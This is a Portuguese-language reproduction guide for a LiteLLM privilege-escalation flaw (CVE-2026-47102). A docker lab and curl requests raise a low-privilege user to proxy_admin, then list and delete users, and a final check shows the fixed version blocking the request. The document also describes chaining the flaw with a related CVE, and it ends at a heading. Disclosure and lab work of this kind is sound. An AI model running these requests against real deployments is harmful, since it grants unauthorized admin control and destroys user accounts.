
O código para reproduzir pessoalmente a vulnerabilidade correspondente
/user/updateO ponto de extremidade
/user/updatedo LiteLLM v1.83.7 (versões anteriores a v1.83.10) permite que usuários de baixo privilégio com acesso a esse endpoint modifiquem o campouser_roleparaproxy_adminao atualizar sua própria conta, realizando uma escalada de privilégios não autorizada.
| Campo | Valor |
|---|---|
| CVE | CVE-2026-47102 |
| CVSS v3.1 | 8.8 (ALTO) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-863 (Autorização Incorreta) |
| Afetado | LiteLLM < 1.83.10 (confirmado na v1.83.7) |
| Corrigido | v1.83.10+ (nova validação de permissão para o campo user_role) |
| Publicado | 2026-05-21 |
| Descoberto por | Fenix Qiao (13ph03nix) — Obsidian Security |
| Links | NVD |
O endpoint /user/update do LiteLLM é usado para atualizar atributos de usuários. Nas versões afetadas, a função can_user_call_user_update() do /user/update verifica se o usuário tem permissão para atualizar o usuário especificado (permitindo que um usuário atualize seu próprio registro), mas não impõe nenhuma restrição sobre quais campos podem ser modificados.
Isso significa que qualquer usuário que consiga acessar o endpoint /user/update (por exemplo, um usuário a quem o administrador concedeu permissão de rota, ou um invasor que obteve acesso a esse endpoint por meio de outra vulnerabilidade) pode elevar seu próprio papel para proxy_admin modificando o campo user_role, obtendo acesso total a todos os endpoints administrativos.
Admin cria uma chave de API para internal_user com permissão de rota /user/update
→ internal_user obtém acesso de nível de rota
→ POST /user/update {"user_id": "...", "user_role": "proxy_admin"} ← CVE-2026-47102
→ Papel elevado para proxy_admin
→ GET /user/list (verifica acesso de administrador)
| Item de Comparação | CVE-2026-47101 | CVE-2026-47102 |
|---|---|---|
| Foco da vulnerabilidade | /key/generate não valida allowed_routes | /user/update não tem permissão ao nível de campo |
| Pré-condição do ataque | internal_user pode chamar /key/generate diretamente | Precisa primeiro obter acesso à rota /user/update |
| Versão corrigida | v1.83.14 | v1.83.10 |
As duas vulnerabilidades podem ser encadeadas: CVE-2026-47101 para criar uma chave com rota curinga (acessar
/user/update), e CVE-2026-47102 para elevar o próprio papel paraproxy_admin.
# 1. Iniciar PostgreSQL + LiteLLM vulnerável (v1.83.7-stable)
docker compose up -d litellm
# Aguardar o serviço ficar pronto (cerca de 10-30 segundos)
sleep 15
# Verificar logs do contêiner
docker logs litellm-47102-privesc 2>&1 | tail -10
A saída esperada deve conter logs como Uvicorn running on http://0.0.0.0:4000 indicando inicialização bem-sucedida.
Usar a chave master para criar uma conta internal_user de baixo privilégio:
curl -s -X POST http://localhost:4002/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}'
Saída esperada:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}
O administrador cria uma chave de API para o internal_user com permissão de acesso à rota /user/update. Esta é a forma típica de ter acesso ao endpoint /user/update em um ambiente real:
# Usar a chave master para criar uma chave com rota /user/update
curl -s -X POST http://localhost:4002/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"allowed_routes": ["/user/update"], "user_id": "your-user-id"}'
Saída esperada:
{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/user/update"],"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"}
Usar a chave com permissão de rota /user/update obtida no passo anterior para elevar o papel do usuário para proxy_admin:
curl -s -X POST http://localhost:4002/user/update \
-H "Authorization: Bearer sk-route-key" \
-H "Content-Type: application/json" \
-d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'
Saída esperada:
{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}
⚠️ Ponto da vulnerabilidade: O
user_rolemudou deinternal_userparaproxy_admin! O endpoint/user/updatepermite que o usuário modifique seu próprio campouser_rolesem qualquer restrição de permissão ao nível de campo.
Verificar se a elevação de papel foi aplicada através do endpoint /user/list (usando a chave de API do internal_user original, que não tem restrição de rota; após se tornar proxy_admin, ganha automaticamente privilégios de administrador):
# Usar a chave que foi elevada para proxy_admin (chave original do internal_user, sem restrição de rota)
curl -s -X GET http://localhost:4002/user/list \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json"
Saída esperada:
{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}
Usando o privilégio proxy_admin obtido, é possível excluir qualquer usuário via /user/delete (também usando a chave de API do internal_user original):
curl -s -X POST http://localhost:4002/user/delete \
-H "Authorization: Bearer sk-internal-user-key" \
-H "Content-Type: application/json" \
-d '{"user_ids": ["user-id-to-delete"]}'
Saída esperada:
1
As etapas acima foram integradas em demo.sh, que pode ser executado diretamente:
# Reprodução completa (inclui comparação entre versão vulnerável e versão corrigida)
bash demo.sh
Iniciar a versão corrigida (v1.83.10-stable) para verificar que o CVE-2026-47102 foi corrigido:
docker compose --profile fixed up -d litellm-fixed
Criar um internal_user:
FIXED_USER_RESP=$(curl -s -X POST http://localhost:4003/user/new \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d '{"role": "internal_user"}')
FIXED_USER_ID=$(echo "$FIXED_USER_RESP" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))")
Criar chave com rota /user/update:
FIXED_ROUTE_KEY=$(curl -s -X POST http://localhost:4003/key/generate \
-H "Authorization: Bearer sk-litellm-master-key" \
-H "Content-Type: application/json" \
-d "{\"allowed_routes\": [\"/user/update\"], \"user_id\": \"$FIXED_USER_ID\"}" | \
python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")
Tentar elevar privilégios (esperado que seja bloqueado):
curl -s -X POST http://localhost:4003/user/update \
-H "Authorization: Bearer $FIXED_ROUTE_KEY" \
-H "Content-Type: application/json" \
-d "{\"user_id\": \"$FIXED_USER_ID\", \"user_role\": \"proxy_admin\"}"
Saída esperada (versão corrigida bloqueia a requisição não autorizada):
{"error":{"message":"Only proxy admins can modify user roles.","type":"auth_error","code":"403"}}
Comparação com a versão vulnerável: